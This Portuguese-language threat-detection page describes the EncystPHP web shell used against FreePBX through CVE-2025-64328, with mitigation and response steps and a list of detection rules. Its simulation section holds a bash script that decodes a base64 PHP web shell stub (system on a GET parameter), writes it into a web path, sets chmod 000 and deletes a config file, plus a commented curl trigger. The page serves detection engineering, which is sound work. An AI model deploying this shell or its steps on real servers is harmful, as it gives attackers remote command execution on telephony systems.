EncystPHP: Web Shell FreePBX Armado para Comprometimento Persistente de Admin
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O FortiGuard Labs reporta um web shell PHP chamado EncystPHP implantado em instâncias expostas do FreePBX explorando CVE-2025-64328. O implante permite a execução remota de comandos, provisiona usuários privilegiados e configura persistência em camadas através de tarefas cron e de droppers subsequentes. A atividade está ligada ao grupo INJ3CTOR3 e aparenta visar ambientes de telecomunicações. Indicadores publicados incluem IPs maliciosos, domínios, URLs e múltiplos caminhos de arquivos hostis.
Investigação
Investigadores rastrearam o acesso inicial para uma falha de injeção de comando pós-autenticação no FreePBX Endpoint Manager. Após exploração bem-sucedida, o operador puxa um dropper de 45.234.176.202, relaxa permissões em componentes principais do PHP, extrai credenciais de banco de dados, cria uma conta de nível root e adiciona uma chave SSH controlada pelo atacante. A persistência é reforçada com entradas cron que repetidamente buscam droppers adicionais e refrescam artefatos. O EncystPHP também imita arquivos legítimos do FreePBX e manipula timestamps para reduzir a visibilidade durante a triagem rotineira.
Mitigação
Aplique o patch no FreePBX Endpoint Manager para corrigir CVE-2025-64328 (e quaisquer correções relacionadas) o mais rápido possível. Procure por arquivos web shell não autorizados, cronogramas cron suspeitos e novos usuários locais privilegiados criados. Bloqueie o HTTP de saída para infraestrutura maliciosa conhecida e aplique permissões estritas de menor privilégio em diretórios voltados para a web e ativos PHP.
Resposta
Ao detectar, isole o servidor PBX afetado, remova os artefatos do EncystPHP, elimine cron jobs não autorizados e redefina contas locais e chaves SSH. Revise os logs e backups de configuração para avaliar mudanças, então aplique as atualizações de segurança atuais e reforce a interface web. Valide que nenhum dropper secundário ou mecanismos de persistência permanecem antes de restaurar as operações normais de telefonia.
Fluxo de Ataque
Detecções
Possível Nova Conta para Persistência [Linux] (via linha de comando)
Arquivo Cron Foi Criado (via evento de arquivo)
Downloads para Pastas Suspeitas (via linha de comando)
Possível Tentativa de Descoberta de Hosts Conhecidos SSH [MacOS] (via linha de comando)
Possível Manipulação de Strings Codificadas em Base64 (via linha de comando)
IOCs (DestinationIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
IOCs (HashSha256) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
IOCs (SourceIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo
Detectar Entradas Crontab para Download Persistente de k.php e c Dropper [Criação de Processo Linux]
Implantação do Web Shell EncystPHP e Persistência via CVE-2025-64328 [Criação de Processo Linux]
Detecção de Atividade do Web Shell EncystPHP no FreePBX [Evento de Arquivo Linux]
Execução de Simulação
Pré-requisito: A Checagem Pré-voo de Telemetria & de Linha de Base deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
- Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo
ajax.phpseja escrito em/var/www/html/admin/views/ajax.php. - Definir permissões restritivas – Imediatamente após a implantação, o atacante executa
chmod 000 ajax.phppara esconder o shell de usuários normais e forçar a execução sob a conta privilegiada do servidor web (T1222.002). - Excluir configuração crítica – Para prejudicar a detecção e forçar o sistema a recarregar com o shell malicioso, o atacante remove
/etc/freepbx.conf(T1070.004, T1562.001). - Acionar o shell – Um simples GET HTTP para o recém-criado
ajax.phpexecuta o payload, estabelecendo um shell reverso (T1105, T1059.004).
- Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo
-
Script de Teste de Regressão: O script reproduz os passos 1‑3 em um diretório de teste controlado (
/tmp/freepbx_test) para evitar afetar um sistema de produção.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
Comandos de Limpeza:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Ambiente de teste limpo."